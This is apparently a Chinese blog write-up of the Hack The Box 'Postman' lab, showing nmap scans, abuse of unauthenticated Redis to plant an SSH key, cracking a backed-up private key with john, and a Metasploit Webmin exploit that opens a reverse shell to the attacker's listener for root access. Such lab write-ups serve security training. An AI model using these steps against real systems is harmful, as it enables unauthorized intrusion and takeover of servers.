Postman HTB Writeup

logo.png

知识点

1、redis未授权利用

2、msf中利用webmin漏洞直接拿shell

3、有时候常用的nmap扫描语句扫描不全时要复扫全部端口

WP

redis权限

常规nmap扫描一遍,开放了22,80和10000端口

┌──(kali㉿192)-[~]
└─$ nmap -sC -sV 10.10.10.160
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-13 09:48 CST
Nmap scan report for 10.10.10.160
Host is up (0.30s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 375.88 seconds

直接访问80端口,得到域名,发现了一个欢迎界面

01.png

直接访问10000端口,提示我们使用https协议访问

02.png

换https协议再访问,发现了一个登陆窗口,尝试了几个弱密码登陆没有结果

03.png

尝试目录爆破

gobuster dir -u http://postman/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20
04.png

跑出来很多无关痛痒的目录,看来这条路走不通,之前使用nmap扫描时候会漏掉很多端口,于是调整目录继续扫描,发现开启了6379端口,redis服务。

nmap -p- 10.10.10.160

PORT     STATE SERVICE
6379/tcp open  redis

使用redis-cli进行连接,发现不需要授权即可登陆,存在redis未授权漏洞

┌──(kali㉿192)-[~]
└─$ redis-cli -h 10.10.10.160                                               1 ⨯
10.10.10.160:6379> ping
PONG
10.10.10.160:6379>

我们可以写入SSH公钥文件,首先生成一对ssh公钥和私钥

ssh-keygen -t rsa

在私钥前后写入\n\n

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 111.txt

检查redis当前目录,并修改到ssh目录下

10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis"
10.10.10.160:6379> config set dir ./.ssh
OK
10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"

写入ssh公钥

cat 111.txt | redis-cli -h 10.10.10.160 -x set xxx

告诉redis,数据库名称是authorized_keys,并保存

10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK
10.10.10.160:6379>

完成后ssh登陆到靶机,是redis用户

ssh -i id_rsa redis@10.10.10.160

Matt权限

发现了用户Matt

redis@Postman:/home/Matt$ cat user.txt 
cat: user.txt: Permission denied
redis@Postman:/home/Matt$ ls -al
total 52
drwxr-xr-x 6 Matt Matt 4096 Sep 11  2019 .
drwxr-xr-x 3 root root 4096 Sep 11  2019 ..
-rw------- 1 Matt Matt 1676 Sep 11  2019 .bash_history
-rw-r--r-- 1 Matt Matt  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 Matt Matt 3771 Aug 25  2019 .bashrc
drwx------ 2 Matt Matt 4096 Aug 25  2019 .cache
drwx------ 3 Matt Matt 4096 Aug 25  2019 .gnupg
drwxrwxr-x 3 Matt Matt 4096 Aug 25  2019 .local
-rw-r--r-- 1 Matt Matt  807 Aug 25  2019 .profile
-rw-rw-r-- 1 Matt Matt   66 Aug 26  2019 .selected_editor
drwx------ 2 Matt Matt 4096 Aug 26  2019 .ssh
-rw-rw---- 1 Matt Matt   33 Mar 13 01:43 user.txt
-rw-rw-r-- 1 Matt Matt  181 Aug 25  2019 .wget-hsts
redis@Postman:/home/Matt$ ls -al .ssh
ls: cannot open directory '.ssh': Permission denied
redis@Postman:/home/Matt$

发现我们没有权限读取Matt用户的文件,同时Matt用户也有.ssh目录,我们也无权读取,这时候我们尝试看看.bash_history文件,看看有没有突破

redis@Postman:/home/Matt$ cd ~
redis@Postman:~$ pwd
/var/lib/redis
redis@Postman:~$ ls
6379  dkixshbr.so  dump.rdb  ibortfgq.so  module.o  qcbxxlig.so  vlpaulhk.so
redis@Postman:~$ ls -al
total 660
drwxr-x---  7 redis redis   4096 Sep 30  2020 .
drwxr-xr-x 38 root  root    4096 Sep 29  2020 ..
drwxr-xr-x  2 root  root    4096 Oct 25  2019 6379
-rw-------  1 redis redis    399 Oct 25  2019 .bash_history
drwx------  2 redis redis   4096 Aug 25  2019 .cache
-rw-r-----  1 redis redis  46760 Aug 26  2019 dkixshbr.so
-rw-rw----  1 redis redis     92 Sep 30  2020 dump.rdb
drwx------  3 redis redis   4096 Aug 25  2019 .gnupg
-rw-r-----  1 redis redis  46760 Aug 25  2019 ibortfgq.so
drwxrwxr-x  3 redis redis   4096 Aug 26  2019 .local
-rw-r-----  1 redis redis 440656 Aug 25  2019 module.o
-rw-r-----  1 redis redis  46760 Aug 25  2019 qcbxxlig.so
drwxr-xr-x  2 redis root    4096 Mar 13 03:13 .ssh
-rw-r-----  1 redis redis  46760 Aug 25  2019 vlpaulhk.so
redis@Postman:~$ cat .bash_history 
exit
su Matt
pwd
nano scan.py
python scan.py
nano scan.py
clear
nano scan.py
clear
python scan.py
exit
exit
cat /etc/ssh/sshd_config 
su Matt
clear
cd /var/lib/redis
su Matt
exit
cat id_rsa.bak 
ls -la
exit
cat id_rsa.bak 
exit
ls -la
crontab -l
systemctl enable redis-server
redis-server
ifconfig
netstat -a
netstat -a
netstat -a
netstat -a
netstat -a > txt
exit
crontab -l
cd ~/
ls
nano 6379
exit
redis@Postman:~$

有一个cat id_rsa.bak命令,我们尝试找找看这个文件

redis@Postman:/tmp$ find / -name id_rsa.bak > /tmp/res.txt
redis@Postman:/tmp$ cat res.txt 
/opt/id_rsa.bak

找到一个文件备份文件/opt/id_rsa.bak,使用john破解密码,得到密码computer2008

john xxx.john -w=path_rockyou.txt
05.png

使用账户密码登陆web登陆页面,成功登陆页面

06.png

root权限

使用msf获取shell,直接拿到的就是root权限(不要忘了set ssl true否则不会成功)

msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.4:4444 
[-] Exploit aborted due to failure: unknown: Failed to retrieve session cookie
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:por
                                         t[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), see https://githu
                                         b.com/rapid7/metasploit-framework/wik
                                         i/Using-Metasploit
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connec
                                         tions
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.4:4444 
[+] Session cookie: f243b9ec75daac5f6fa32afc2186aadc
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.160:55008) at 2023-03-13 13:23:33 +0800

id
uid=0(root) gid=0(root) groups=0(root)
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash


root@Postman:/usr/share/webmin/package-updates/# 
root@Postman:/usr/share/webmin/package-updates/# cat /home/Matt/user.txt
cat /home/Matt/user.txt
859ee85473f07d96d588bac79aa247b4
root@Postman:/usr/share/webmin/package-updates/# cat /root/root.txt
cat /root/root.txt
f120ddecc80af581768cb282e8a00bc5


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,657评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,889评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,057评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,509评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,562评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,443评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,251评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,129评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,561评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,779评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,902评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,621评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,220评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,838评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,971评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,025评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,843评论 2 354

推荐阅读更多精彩内容